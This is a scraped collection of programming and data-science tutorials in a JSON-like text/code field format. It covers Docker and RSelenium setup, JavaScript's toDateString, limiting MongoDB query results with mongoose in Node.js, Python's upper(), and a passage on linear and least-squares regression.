"text": "In Windows, you will need to make sure virtualization is enabled so that Docker can start the Linux VM. You can do this by navigating to BIOS and enabling Virtualization, (called VT-AMD in BIOS). (To access BIOS, press F10 during Windows Startup and go to System Configuration.)"
},
{
"code": null,
"e": 15754,
"s": 15635,
"text": "Execute the steps to install and set up Docker. At the end, Docker’s characteristic whale will appear in the terminal."
},
{
"code": null,
"e": 16107,
"s": 15754,
"text": "Pull the image for the Selenium ChromeDriver by typing docker pull selenium/standalone-chrome in the terminal. Since we did not specify a version, the most recent one will be pulled. You should see Using default tag: latest: Pulling from selenium/standalone-chrome. Then you will see Status: Downloaded newer image for selenium/standalone-chrome:latest"
},
{
"code": null,
"e": 16265,
"s": 16107,
"text": "Run the Selenium Chromedriver, using the command from above. Remember to replace LOCAL_PATH and YOUR_CONTAINER_NAME with the folder and name you want to use."
},
{
"code": null,
"e": 16401,
"s": 16265,
"text": "docker run -d -v LOCAL_PATH://home/seluser/Downloads -p 4445:4444 — shm-size = 2g — name YOUR_CONTAINER_NAME selenium/standalone-chrome"
},
{
"code": null,
"e": 16678,
"s": 16401,
"text": "Now that we have Docker set up and running, I’ll show you how to bind it to RStudio using RSelenium. If you are not a R user, there are articles on how to bind Selenium to other programming languages, such as Python and Ruby, or you can simply write scripts in the Docker CLI."
},
{
"code": null,
"e": 17121,
"s": 16678,
"text": "Type install.packages(RSelenium in the console in RStudio.Then: library(RSelenium)Set the options for the Chrome Driver. There are others that you can set, but these three are essential. The first will block popups, the second will ensure that files download without needing a prompt from you, and the third will determine where downloaded files end up (which should be the directory in the Linux VM that you specified earlier in docker run)."
},
{
"code": null,
"e": 17180,
"s": 17121,
"text": "Type install.packages(RSelenium in the console in RStudio."
},
{
"code": null,
"e": 17205,
"s": 17180,
"text": "Then: library(RSelenium)"
},
{
"code": null,
"e": 17566,
"s": 17205,
"text": "Set the options for the Chrome Driver. There are others that you can set, but these three are essential. The first will block popups, the second will ensure that files download without needing a prompt from you, and the third will determine where downloaded files end up (which should be the directory in the Linux VM that you specified earlier in docker run)."
},
{
"code": null,
"e": 17766,
"s": 17566,
"text": "eCaps <- list( chromeOptions = list(prefs = list( “profile.default_content_settings.popups” = 0L, “download.prompt_for_download” = FALSE, “download.default_directory” = “home/seluser/Downloads” ) ))"
},
{
"code": null,
"e": 17990,
"s": 17766,
"text": "4. Create the bind from R to the Linux VM. The browser name is Chrome, the port is the port specified in docker run, the extra capabilities were specified above in step 3, and the remoteServerAddr is the IP of the Linux VM."
},
{
"code": null,
"e": 18112,
"s": 17990,
"text": "remDr <- remoteDriver(browserName= “chrome”, port=4445L, extraCapabilities = eCaps, remoteServerAddr = \"192.168.99.100\",)"
},
{
"code": null,
"e": 18268,
"s": 18112,
"text": "5. Finally, typing remDr$open will bind R to the virtual OS. In your global environment you should see that remDr is an <Object containing active binding>."
}
] |
JavaScript - Date toDateString() Method
|
Javascript date toDateString() method returns the date portion of a Date object in human readable form.
Its syntax is as follows −
Date.toDateString()
Returns the date portion of a Date object in human readable form.
Try the following example.
<html>
<head>
<title>JavaScript toDateString Method</title>
</head>
<body>
<script type = "text/javascript">
var dt = new Date(1993, 6, 28, 14, 39, 7);
document.write( "Formated Date : " + dt.toDateString() );
</script>
</body>
</html>
Formated Date : Wed Jul 28 1993
25 Lectures
2.5 hours
Anadi Sharma
74 Lectures
10 hours
Lets Kode It
72 Lectures
4.5 hours
Frahaan Hussain
70 Lectures
4.5 hours
Frahaan Hussain
46 Lectures
6 hours
Eduonix Learning Solutions
88 Lectures
14 hours
Eduonix Learning Solutions
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2570,
"s": 2466,
"text": "Javascript date toDateString() method returns the date portion of a Date object in human readable form."
},
{
"code": null,
"e": 2597,
"s": 2570,
"text": "Its syntax is as follows −"
},
{
"code": null,
"e": 2618,
"s": 2597,
"text": "Date.toDateString()\n"
},
{
"code": null,
"e": 2684,
"s": 2618,
"text": "Returns the date portion of a Date object in human readable form."
},
{
"code": null,
"e": 2711,
"s": 2684,
"text": "Try the following example."
},
{
"code": null,
"e": 3008,
"s": 2711,
"text": "<html> \n <head>\n <title>JavaScript toDateString Method</title>\n </head>\n \n <body> \n <script type = \"text/javascript\">\n var dt = new Date(1993, 6, 28, 14, 39, 7);\n document.write( \"Formated Date : \" + dt.toDateString() );\n </script> \n </body>\n</html>"
},
{
"code": null,
"e": 3041,
"s": 3008,
"text": "Formated Date : Wed Jul 28 1993\n"
},
{
"code": null,
"e": 3076,
"s": 3041,
"text": "\n 25 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 3090,
"s": 3076,
"text": " Anadi Sharma"
},
{
"code": null,
"e": 3124,
"s": 3090,
"text": "\n 74 Lectures \n 10 hours \n"
},
{
"code": null,
"e": 3138,
"s": 3124,
"text": " Lets Kode It"
},
{
"code": null,
"e": 3173,
"s": 3138,
"text": "\n 72 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 3190,
"s": 3173,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 3225,
"s": 3190,
"text": "\n 70 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 3242,
"s": 3225,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 3275,
"s": 3242,
"text": "\n 46 Lectures \n 6 hours \n"
},
{
"code": null,
"e": 3303,
"s": 3275,
"text": " Eduonix Learning Solutions"
},
{
"code": null,
"e": 3337,
"s": 3303,
"text": "\n 88 Lectures \n 14 hours \n"
},
{
"code": null,
"e": 3365,
"s": 3337,
"text": " Eduonix Learning Solutions"
},
{
"code": null,
"e": 3372,
"s": 3365,
"text": " Print"
},
{
"code": null,
"e": 3383,
"s": 3372,
"text": " Add Notes"
}
] |
How to limit the number of documents in a MongoDB request in Node.js ? - GeeksforGeeks
|
20 Oct, 2021
Say you are working on a quiz API, with which anybody on the web can fetch random questions based on the defined category. You are done with your API and it has passed all test parameters, now for sake of users you want to add a feature that will let users decide how many questions they want to address and your API will provide them with that amount of questions. Here, comes the helpful mongo feature limit.
Referring to mongo documentation, the limit can be understood as an option that limits the number of documents that has to be passed to the next pipeline for processing.
Syntax:
{ $limit: <positive integer> }
For Node.js we will use mongoose for this specific purpose. Assuming that you created a Post model for a Content Management System, let’s try fetching a certain number of posts using the find() method.
Javascript
Post.find().limit(5).then(posts=>{ if(!posts){ const error=new Error("No post is there to fetch"); error.statusCode=404; throw(error); } return res.status(200).json({post:posts});}).catch(err=>console.log(err));
Pass the number of documents you want to fetch as an argument to limit. That’s a quite abstraction right? Worry not let’s walk through the process from the very beginning.
Assuming a decent foundation of Node JS, express and mongoose. Starting off with creating posts and fetching posts as per defined limit.
Workflow for follow along will be:
Setting up environmentCreating Post schema with mongooseDeveloping API for post creationDeveloping API for fetching the specified number of post from database
Setting up environment
Creating Post schema with mongoose
Developing API for post creation
Developing API for fetching the specified number of post from database
Setting up:
Boiler Plate:
touch app.js
Setting up the NPM setup:
npm init
Installing dependencies:
npm i express body-parser mongoose
Project structure: Now, your file tree will look somewhat.
Follow the below steps one by one to achieve the target:
Step 1: Setting up the app.js.
Filename: app.js
Javascript
const express = require("express"); const bodyParser = require("body-parser"); const mongoose = require("mongoose"); const app = express(); // For processing application/json app.use(bodyParser.json()); // Setting up CORS app.use((req, res, next) => { res.setHeader("Access-Control-Allow-Origin", "*"); res.setHeader("Access-Control-Allow-Methods", "POST,PUT"); res.setHeader("Access-Control-Allow-Headers", "*"); next(); }); app.get("/test", (req, res, next) => { res.send("<h1>working</h1>"); }); mongoose .connect("mongodb://localhost:27017/articleDB") .then(app.listen(8000, () => console.log("listening at port 8000")));
Run the app.js file
node .\app.js
Output: Now on hitting localhost:8000/test, you should expect.
Now, when we are done with our basic app setting, lets create our required APIs.
Creating Post Schema: Schemas can be easily created in Node using mongoose.
Javascript
// Requiring mongooseconst mongoose = require("mongoose"); // Schema of our post modelconst postSchema = new mongoose.Schema( { title: { type: String, required: true, }, content: { type: String, required: true, }, }, { timestamps: true }); // Modelconst Post = mongoose.model("Post", postSchema);
API for post creation: Now, as we are done it creating the model and schemas we will move forward creating our first API and then testing it using Postman.
Javascript
// POST http://localhost:8000/postapp.post("/post",(req,res,next)=>{ const newPost = new Post({ title: req.body.title, content: req.body.content, }); newPost .save() .then((post) => { return res.status(201).json({ post: post }); }) .catch((err) => { res.status(500).json({error:err}); });})
URL - http://localhost:8000/post
Method - POST
Content-Type - application/json
Body of the request should contain -
i. title - title of your article
ii. content - content of your article
Output:
API for fetching post as per the queried number of posts: Idea is to pass the count as a query in the API endpoint and then processing that query using basic validation and limit.
Javascript
// GET http://localhost:8000/posts app.get("/posts",(req,res,next)=>{ const requestCount = req.query.count; Post.find() .countDocuments() .then((count) => { // if requested count is more than actual count of posts in database if (requestCount > count) { const error = new Error("invalid request in quantity"); error.statusCode = 400; throw error; } //returning posts while limiting the count return Post.find().limit(Number(requestCount)); }) .then((posts) => { res.status(200).json({ posts: posts }); }) .catch((err) => { const status=error.statusCode || 500; res.status(status).json({error:err}); });})
limits only accepts a number as an argument but by default query parameters is of string type which required us to typecast it into number.
Post.find().countDocuments() returns total number of document present under that specific collection.
URL - http://localhost:8000/posts/?count={limit}
Method - GET
Example Request - http://localhost:8000/posts/?count=4
Output:
Final Solution:
Filename: app.js
Javascript
const express = require("express"); const bodyParser = require("body-parser"); // Requiring mongoose for interacting with mongoDB database const mongoose = require("mongoose"); const app = express(); // For processing application/json app.use(bodyParser.json()); // Setting up CORS app.use((req, res, next) => { res.setHeader("Access-Control-Allow-Origin", "*"); res.setHeader("Access-Control-Allow-Methods", "POST,PUT"); res.setHeader("Access-Control-Allow-Headers", "*"); next(); }); //---- mongo collection setup ---- // schema of our post model const postSchema = new mongoose.Schema( { title: { type: String, required: true, }, content: { type: String, required: true, }, }, { timestamps: true } ); // model const Post = mongoose.model("Post", postSchema); //for testing purpose - can ignore it app.get("/test", (req, res, next) => { res.send("<h1>working</h1>"); }); //-----apis---------- // POST http://localhost:8000/post app.post("/post", (req, res, next) => { const newPost = new Post({ title: req.body.title, content: req.body.content, }); newPost .save() .then((post) => { return res.status(201).json({ post: post }); }) .catch((err) => { res.status(500).json({ error: err }); }); }); // GET http://localhost:8000/posts app.get("/posts", (req, res, next) => { const requestCount = req.query.count; Post.find() .countDocuments() .then((count) => { // if requested count is more than actual // count of posts in database if (requestCount > count) { const error = new Error("invalid request in quantity"); error.statusCode = 400; throw error; } // returning posts while limiting the count return Post.find().limit(Number(requestCount)); }) .then((posts) => { res.status(200).json({ posts: posts }); }) .catch((err) => { const status = err.statusCode || 500; res.status(status).json({ error: err }); }); }); // connecting to database and serving up server mongoose .connect("mongodb://localhost:27017/articleDB") .then(app.listen(8000, () => console.log("listening at port 8000")));
Output:Database, now we have our simple API with document limiting feature enabled.
surindertarika1234
simmytarika5
NodeJS-Questions
Picked
MongoDB
Node.js
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to connect MongoDB with ReactJS ?
MongoDB - FindOne() Method
MongoDB insertMany() Method - db.Collection.insertMany()
MongoDB - Map Reduce
MongoDB Tutorial
Express.js express.Router() Function
Installation of Node.js on Linux
Node.js fs.readFileSync() Method
Node.js fs.writeFile() Method
Express.js res.render() Function
|
[
{
"code": null,
"e": 24141,
"s": 24113,
"text": "\n20 Oct, 2021"
},
{
"code": null,
"e": 24552,
"s": 24141,
"text": "Say you are working on a quiz API, with which anybody on the web can fetch random questions based on the defined category. You are done with your API and it has passed all test parameters, now for sake of users you want to add a feature that will let users decide how many questions they want to address and your API will provide them with that amount of questions. Here, comes the helpful mongo feature limit."
},
{
"code": null,
"e": 24722,
"s": 24552,
"text": "Referring to mongo documentation, the limit can be understood as an option that limits the number of documents that has to be passed to the next pipeline for processing."
},
{
"code": null,
"e": 24731,
"s": 24722,
"text": "Syntax: "
},
{
"code": null,
"e": 24762,
"s": 24731,
"text": "{ $limit: <positive integer> }"
},
{
"code": null,
"e": 24965,
"s": 24762,
"text": "For Node.js we will use mongoose for this specific purpose. Assuming that you created a Post model for a Content Management System, let’s try fetching a certain number of posts using the find() method. "
},
{
"code": null,
"e": 24976,
"s": 24965,
"text": "Javascript"
},
{
"code": "Post.find().limit(5).then(posts=>{ if(!posts){ const error=new Error(\"No post is there to fetch\"); error.statusCode=404; throw(error); } return res.status(200).json({post:posts});}).catch(err=>console.log(err));",
"e": 25218,
"s": 24976,
"text": null
},
{
"code": null,
"e": 25390,
"s": 25218,
"text": "Pass the number of documents you want to fetch as an argument to limit. That’s a quite abstraction right? Worry not let’s walk through the process from the very beginning."
},
{
"code": null,
"e": 25527,
"s": 25390,
"text": "Assuming a decent foundation of Node JS, express and mongoose. Starting off with creating posts and fetching posts as per defined limit."
},
{
"code": null,
"e": 25563,
"s": 25527,
"text": "Workflow for follow along will be: "
},
{
"code": null,
"e": 25722,
"s": 25563,
"text": "Setting up environmentCreating Post schema with mongooseDeveloping API for post creationDeveloping API for fetching the specified number of post from database"
},
{
"code": null,
"e": 25745,
"s": 25722,
"text": "Setting up environment"
},
{
"code": null,
"e": 25780,
"s": 25745,
"text": "Creating Post schema with mongoose"
},
{
"code": null,
"e": 25813,
"s": 25780,
"text": "Developing API for post creation"
},
{
"code": null,
"e": 25884,
"s": 25813,
"text": "Developing API for fetching the specified number of post from database"
},
{
"code": null,
"e": 25896,
"s": 25884,
"text": "Setting up:"
},
{
"code": null,
"e": 25910,
"s": 25896,
"text": "Boiler Plate:"
},
{
"code": null,
"e": 25923,
"s": 25910,
"text": "touch app.js"
},
{
"code": null,
"e": 25949,
"s": 25923,
"text": "Setting up the NPM setup:"
},
{
"code": null,
"e": 25958,
"s": 25949,
"text": "npm init"
},
{
"code": null,
"e": 25983,
"s": 25958,
"text": "Installing dependencies:"
},
{
"code": null,
"e": 26018,
"s": 25983,
"text": "npm i express body-parser mongoose"
},
{
"code": null,
"e": 26078,
"s": 26018,
"text": "Project structure: Now, your file tree will look somewhat. "
},
{
"code": null,
"e": 26136,
"s": 26078,
"text": "Follow the below steps one by one to achieve the target: "
},
{
"code": null,
"e": 26168,
"s": 26136,
"text": "Step 1: Setting up the app.js. "
},
{
"code": null,
"e": 26185,
"s": 26168,
"text": "Filename: app.js"
},
{
"code": null,
"e": 26196,
"s": 26185,
"text": "Javascript"
},
{
"code": "const express = require(\"express\"); const bodyParser = require(\"body-parser\"); const mongoose = require(\"mongoose\"); const app = express(); // For processing application/json app.use(bodyParser.json()); // Setting up CORS app.use((req, res, next) => { res.setHeader(\"Access-Control-Allow-Origin\", \"*\"); res.setHeader(\"Access-Control-Allow-Methods\", \"POST,PUT\"); res.setHeader(\"Access-Control-Allow-Headers\", \"*\"); next(); }); app.get(\"/test\", (req, res, next) => { res.send(\"<h1>working</h1>\"); }); mongoose .connect(\"mongodb://localhost:27017/articleDB\") .then(app.listen(8000, () => console.log(\"listening at port 8000\")));",
"e": 26856,
"s": 26196,
"text": null
},
{
"code": null,
"e": 26876,
"s": 26856,
"text": "Run the app.js file"
},
{
"code": null,
"e": 26892,
"s": 26876,
"text": "node .\\app.js "
},
{
"code": null,
"e": 26955,
"s": 26892,
"text": "Output: Now on hitting localhost:8000/test, you should expect."
},
{
"code": null,
"e": 27036,
"s": 26955,
"text": "Now, when we are done with our basic app setting, lets create our required APIs."
},
{
"code": null,
"e": 27112,
"s": 27036,
"text": "Creating Post Schema: Schemas can be easily created in Node using mongoose."
},
{
"code": null,
"e": 27123,
"s": 27112,
"text": "Javascript"
},
{
"code": "// Requiring mongooseconst mongoose = require(\"mongoose\"); // Schema of our post modelconst postSchema = new mongoose.Schema( { title: { type: String, required: true, }, content: { type: String, required: true, }, }, { timestamps: true }); // Modelconst Post = mongoose.model(\"Post\", postSchema);",
"e": 27457,
"s": 27123,
"text": null
},
{
"code": null,
"e": 27613,
"s": 27457,
"text": "API for post creation: Now, as we are done it creating the model and schemas we will move forward creating our first API and then testing it using Postman."
},
{
"code": null,
"e": 27624,
"s": 27613,
"text": "Javascript"
},
{
"code": "// POST http://localhost:8000/postapp.post(\"/post\",(req,res,next)=>{ const newPost = new Post({ title: req.body.title, content: req.body.content, }); newPost .save() .then((post) => { return res.status(201).json({ post: post }); }) .catch((err) => { res.status(500).json({error:err}); });})",
"e": 27951,
"s": 27624,
"text": null
},
{
"code": null,
"e": 28138,
"s": 27951,
"text": "URL - http://localhost:8000/post\nMethod - POST\nContent-Type - application/json\nBody of the request should contain -\ni. title - title of your article\nii. content - content of your article"
},
{
"code": null,
"e": 28147,
"s": 28138,
"text": "Output: "
},
{
"code": null,
"e": 28328,
"s": 28147,
"text": "API for fetching post as per the queried number of posts: Idea is to pass the count as a query in the API endpoint and then processing that query using basic validation and limit. "
},
{
"code": null,
"e": 28339,
"s": 28328,
"text": "Javascript"
},
{
"code": "// GET http://localhost:8000/posts app.get(\"/posts\",(req,res,next)=>{ const requestCount = req.query.count; Post.find() .countDocuments() .then((count) => { // if requested count is more than actual count of posts in database if (requestCount > count) { const error = new Error(\"invalid request in quantity\"); error.statusCode = 400; throw error; } //returning posts while limiting the count return Post.find().limit(Number(requestCount)); }) .then((posts) => { res.status(200).json({ posts: posts }); }) .catch((err) => { const status=error.statusCode || 500; res.status(status).json({error:err}); });})",
"e": 29037,
"s": 28339,
"text": null
},
{
"code": null,
"e": 29177,
"s": 29037,
"text": "limits only accepts a number as an argument but by default query parameters is of string type which required us to typecast it into number."
},
{
"code": null,
"e": 29279,
"s": 29177,
"text": "Post.find().countDocuments() returns total number of document present under that specific collection."
},
{
"code": null,
"e": 29396,
"s": 29279,
"text": "URL - http://localhost:8000/posts/?count={limit}\nMethod - GET\nExample Request - http://localhost:8000/posts/?count=4"
},
{
"code": null,
"e": 29404,
"s": 29396,
"text": "Output:"
},
{
"code": null,
"e": 29420,
"s": 29404,
"text": "Final Solution:"
},
{
"code": null,
"e": 29437,
"s": 29420,
"text": "Filename: app.js"
},
{
"code": null,
"e": 29448,
"s": 29437,
"text": "Javascript"
},
{
"code": "const express = require(\"express\"); const bodyParser = require(\"body-parser\"); // Requiring mongoose for interacting with mongoDB database const mongoose = require(\"mongoose\"); const app = express(); // For processing application/json app.use(bodyParser.json()); // Setting up CORS app.use((req, res, next) => { res.setHeader(\"Access-Control-Allow-Origin\", \"*\"); res.setHeader(\"Access-Control-Allow-Methods\", \"POST,PUT\"); res.setHeader(\"Access-Control-Allow-Headers\", \"*\"); next(); }); //---- mongo collection setup ---- // schema of our post model const postSchema = new mongoose.Schema( { title: { type: String, required: true, }, content: { type: String, required: true, }, }, { timestamps: true } ); // model const Post = mongoose.model(\"Post\", postSchema); //for testing purpose - can ignore it app.get(\"/test\", (req, res, next) => { res.send(\"<h1>working</h1>\"); }); //-----apis---------- // POST http://localhost:8000/post app.post(\"/post\", (req, res, next) => { const newPost = new Post({ title: req.body.title, content: req.body.content, }); newPost .save() .then((post) => { return res.status(201).json({ post: post }); }) .catch((err) => { res.status(500).json({ error: err }); }); }); // GET http://localhost:8000/posts app.get(\"/posts\", (req, res, next) => { const requestCount = req.query.count; Post.find() .countDocuments() .then((count) => { // if requested count is more than actual // count of posts in database if (requestCount > count) { const error = new Error(\"invalid request in quantity\"); error.statusCode = 400; throw error; } // returning posts while limiting the count return Post.find().limit(Number(requestCount)); }) .then((posts) => { res.status(200).json({ posts: posts }); }) .catch((err) => { const status = err.statusCode || 500; res.status(status).json({ error: err }); }); }); // connecting to database and serving up server mongoose .connect(\"mongodb://localhost:27017/articleDB\") .then(app.listen(8000, () => console.log(\"listening at port 8000\")));",
"e": 31696,
"s": 29448,
"text": null
},
{
"code": null,
"e": 31780,
"s": 31696,
"text": "Output:Database, now we have our simple API with document limiting feature enabled."
},
{
"code": null,
"e": 31799,
"s": 31780,
"text": "surindertarika1234"
},
{
"code": null,
"e": 31812,
"s": 31799,
"text": "simmytarika5"
},
{
"code": null,
"e": 31829,
"s": 31812,
"text": "NodeJS-Questions"
},
{
"code": null,
"e": 31836,
"s": 31829,
"text": "Picked"
},
{
"code": null,
"e": 31844,
"s": 31836,
"text": "MongoDB"
},
{
"code": null,
"e": 31852,
"s": 31844,
"text": "Node.js"
},
{
"code": null,
"e": 31869,
"s": 31852,
"text": "Web Technologies"
},
{
"code": null,
"e": 31967,
"s": 31869,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 31976,
"s": 31967,
"text": "Comments"
},
{
"code": null,
"e": 31989,
"s": 31976,
"text": "Old Comments"
},
{
"code": null,
"e": 32027,
"s": 31989,
"text": "How to connect MongoDB with ReactJS ?"
},
{
"code": null,
"e": 32054,
"s": 32027,
"text": "MongoDB - FindOne() Method"
},
{
"code": null,
"e": 32111,
"s": 32054,
"text": "MongoDB insertMany() Method - db.Collection.insertMany()"
},
{
"code": null,
"e": 32132,
"s": 32111,
"text": "MongoDB - Map Reduce"
},
{
"code": null,
"e": 32149,
"s": 32132,
"text": "MongoDB Tutorial"
},
{
"code": null,
"e": 32186,
"s": 32149,
"text": "Express.js express.Router() Function"
},
{
"code": null,
"e": 32219,
"s": 32186,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 32252,
"s": 32219,
"text": "Node.js fs.readFileSync() Method"
},
{
"code": null,
"e": 32282,
"s": 32252,
"text": "Node.js fs.writeFile() Method"
}
] |
Python String upper() Method
|
Python string method upper() returns a copy of the string in which all case-based characters have been uppercased.
Following is the syntax for upper() method −
str.upper()
NA
NA
This method returns a copy of the string in which all case-based characters have been uppercased.
The following example shows the usage of upper() method.
#!/usr/bin/python
str = "this is string example....wow!!!";
print "str.capitalize() : ", str.upper()
When we run above program, it produces following result −
str.capitalize() : THIS IS STRING EXAMPLE....WOW!!!
187 Lectures
17.5 hours
Malhar Lathkar
55 Lectures
8 hours
Arnab Chakraborty
136 Lectures
11 hours
In28Minutes Official
75 Lectures
13 hours
Eduonix Learning Solutions
70 Lectures
8.5 hours
Lets Kode It
63 Lectures
6 hours
Abhilash Nelson
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2360,
"s": 2244,
"text": "Python string method upper() returns a copy of the string in which all case-based characters have been uppercased."
},
{
"code": null,
"e": 2405,
"s": 2360,
"text": "Following is the syntax for upper() method −"
},
{
"code": null,
"e": 2418,
"s": 2405,
"text": "str.upper()\n"
},
{
"code": null,
"e": 2421,
"s": 2418,
"text": "NA"
},
{
"code": null,
"e": 2424,
"s": 2421,
"text": "NA"
},
{
"code": null,
"e": 2522,
"s": 2424,
"text": "This method returns a copy of the string in which all case-based characters have been uppercased."
},
{
"code": null,
"e": 2579,
"s": 2522,
"text": "The following example shows the usage of upper() method."
},
{
"code": null,
"e": 2681,
"s": 2579,
"text": "#!/usr/bin/python\n\nstr = \"this is string example....wow!!!\";\nprint \"str.capitalize() : \", str.upper()"
},
{
"code": null,
"e": 2739,
"s": 2681,
"text": "When we run above program, it produces following result −"
},
{
"code": null,
"e": 2793,
"s": 2739,
"text": "str.capitalize() : THIS IS STRING EXAMPLE....WOW!!!\n"
},
{
"code": null,
"e": 2830,
"s": 2793,
"text": "\n 187 Lectures \n 17.5 hours \n"
},
{
"code": null,
"e": 2846,
"s": 2830,
"text": " Malhar Lathkar"
},
{
"code": null,
"e": 2879,
"s": 2846,
"text": "\n 55 Lectures \n 8 hours \n"
},
{
"code": null,
"e": 2898,
"s": 2879,
"text": " Arnab Chakraborty"
},
{
"code": null,
"e": 2933,
"s": 2898,
"text": "\n 136 Lectures \n 11 hours \n"
},
{
"code": null,
"e": 2955,
"s": 2933,
"text": " In28Minutes Official"
},
{
"code": null,
"e": 2989,
"s": 2955,
"text": "\n 75 Lectures \n 13 hours \n"
},
{
"code": null,
"e": 3017,
"s": 2989,
"text": " Eduonix Learning Solutions"
},
{
"code": null,
"e": 3052,
"s": 3017,
"text": "\n 70 Lectures \n 8.5 hours \n"
},
{
"code": null,
"e": 3066,
"s": 3052,
"text": " Lets Kode It"
},
{
"code": null,
"e": 3099,
"s": 3066,
"text": "\n 63 Lectures \n 6 hours \n"
},
{
"code": null,
"e": 3116,
"s": 3099,
"text": " Abhilash Nelson"
},
{
"code": null,
"e": 3123,
"s": 3116,
"text": " Print"
},
{
"code": null,
"e": 3134,
"s": 3123,
"text": " Add Notes"
}
] |
Mathematics for Machine Learning : Linear Regression & Least Square Regression | by Deepak K Gupta (DAKSH) | Towards Data Science
|
Machine learning is all about Mathematics, though many libraries are available today which can apply the complex formulas with a function call, it’s any way desirable to learn at least the basics about it to understand it in better.
Let’s try to understand the Linear Regression and Least Square Regression in simple way.
Linear Regression is a predictive algorithm which provides a Linear relationship between Prediction (Call it ‘Y’) and Input (Call is ‘X’).
As we know from the basic maths that if we plot an ‘X’,’Y’ graph, a linear relationship will always come up with a straight line. For example, if we plot the graph of these values
(Input) X = 1,2,3,4,5(Prediction) Y = 1,2,3,4,5
It will be a perfectly straight line
Before moving further into this, let’s understand the fact that in real life, we don’t get such a perfect relationship between Inputs and Predictions and that’s why we need machine learning algorithms
The equation of a straight line is written using the y = mx + b, where m is the slope (Gradient) and b is y-intercept (where the line crosses the Y axis).
Once we get the equation of a straight line from 2 points in space in y = mx + b format, we can use the same equation to predict the points at different values of x which result in a straight line.
In this formula, m is the slope and b is y-intercept.
Linear regression is a way to predict the 'Y' values for unknown values of Input 'X' like 1.5, 0.4, 3.6, 5.7 and even for -1, -5, 10 etc.
Let’s take a real world example to demonstrate the usage of linear regression and usage of Least Square Method to reduce the errors
Let’s take a real world example of the price of agricultural products and how it varies based on the location its sold. The price will be low when bought directly from farmers and high when brought from the downtown area.
Given this dataset, we can predict the price of the product in intermediate locations
When a dataset is used for predictions, it’s also called as Training Data Set
In this example, if we consider Input 'X — Axis' as Sale Location and 'Y — Axis' as Price (think of any currency you’re familiar with), we can plot the graph as
Given this dataset, predict the price of agricultural product, if it’s sold in intermediate locations between farmers house and city downtown
The dataset provided above can be considered as Training DataSet for the problem statement stated above, If we consider these inputs as Training Data for the model, we can use that model to predict the price at locations between
Farmers home — Village
Village — Town
Town — City
City — City Downtown
Our aim is to come with a straight line which minimizes the error between training data and our prediction model when we draw the line using the equation of straight line.
The maths allow us to get a straight line between any two (x,y) points in two dimensional graph. For this example, let’s consider farmers home and price as starting point and city downtown as ending point.
The coordinates of the start and end points will be
(x1,y1) = (1, 4) (x2,y2) = (5, 80)
where x represents the location and y represent the price.
The first step is to come up with a formula in the form of y = mx + b where x is a known value and y is the predicted value.
To calculate the Prediction y for any Input value x we have two unknowns, the m = slope(Gradient) and b = y-intercept(also called bias)
The slope of the line is calculated as the change in y divided by change in x, so the calculation will look like
The y-intercept / bias shall be calculated using the formula y-y1 = m(x-x1)
Once we arrived at our formula, we can verify the same by substituting x for both starting and ending points which were used to calculate the formula as it should provide the same y value.
Now we know that our formula is correct as we get the same y value by substituting the x value, but what about other values of x in between i.e 2,3,4 , let’s find out
These values are different from what was actually there in the training set (understandably as original graph was not a straight line), and if we plot this(x,y) graph against the original graph, the straight line will be way off the original points in the graph of x=2,3, and 4.
Nevertheless, the first step is successful as we managed to predict the Y for unknown values of X
The error is defined as the difference of values between actual points and the points on the straight line). Ideally., we’d like to have a straight line where the error is minimized across all points.
The are many mathematical ways to do the same and one of the methods is called Least Square Regression
Least Square Regression is a method which minimizes the error in such a way that the sum of all square error is minimized. Here are the steps you use to calculate the Least square regression.
First, the formula for calculating m = slope is
Note: **2 means square, a python syntax
So let’s calculate all the values required to come up with the slope(m), first start with calculating values with x
Now let’s calculate the values with y
The availability of these values allows us to calculate Sum of all
(x — xmean)*(y — ymean)
Now let’s calculate the denominator part of the equation which is
Sum of (x — xmean)**2
So the overall calculation would be
Calculation of y-Intercept
The y-intercept is calculated using the formula b = ymean — m * xmean
The overall formula can now be written in the form of y = mx + b as
Let’s see how the prediction y changes when we apply y = 19.2x + (-22.4) on all x values.
Let’s plot this particular straight line graph against the standard values.
As we can see that these values are nearer to the actual line as compared to direct straight line values between starting and end points. If we compare this with the straight line graph we visualize the difference
This method is intended to reduce the sum square of all error values. The lower the error, lesser the overall deviation from the original point. We can compare the same with the errors generated out of the straight line as well as with the Least Square Regression
As we can see that Least Square Method provide better results than a plain straight line between two points calculation.
The least square is not the only methods used in Machine Learning to improve the model, there are other about which I’ll talk about in later posts
Thanks for reading...!!!
|
[
{
"code": null,
"e": 405,
"s": 172,
"text": "Machine learning is all about Mathematics, though many libraries are available today which can apply the complex formulas with a function call, it’s any way desirable to learn at least the basics about it to understand it in better."
},
{
"code": null,
"e": 494,
"s": 405,
"text": "Let’s try to understand the Linear Regression and Least Square Regression in simple way."
},
{
"code": null,
"e": 633,
"s": 494,
"text": "Linear Regression is a predictive algorithm which provides a Linear relationship between Prediction (Call it ‘Y’) and Input (Call is ‘X’)."
},
{
"code": null,
"e": 813,
"s": 633,
"text": "As we know from the basic maths that if we plot an ‘X’,’Y’ graph, a linear relationship will always come up with a straight line. For example, if we plot the graph of these values"
},
{
"code": null,
"e": 861,
"s": 813,
"text": "(Input) X = 1,2,3,4,5(Prediction) Y = 1,2,3,4,5"
},
{
"code": null,
"e": 898,
"s": 861,
"text": "It will be a perfectly straight line"
},
{
"code": null,
"e": 1099,
"s": 898,
"text": "Before moving further into this, let’s understand the fact that in real life, we don’t get such a perfect relationship between Inputs and Predictions and that’s why we need machine learning algorithms"
},
{
"code": null,
"e": 1254,
"s": 1099,
"text": "The equation of a straight line is written using the y = mx + b, where m is the slope (Gradient) and b is y-intercept (where the line crosses the Y axis)."
},
{
"code": null,
"e": 1452,
"s": 1254,
"text": "Once we get the equation of a straight line from 2 points in space in y = mx + b format, we can use the same equation to predict the points at different values of x which result in a straight line."
},
{
"code": null,
"e": 1506,
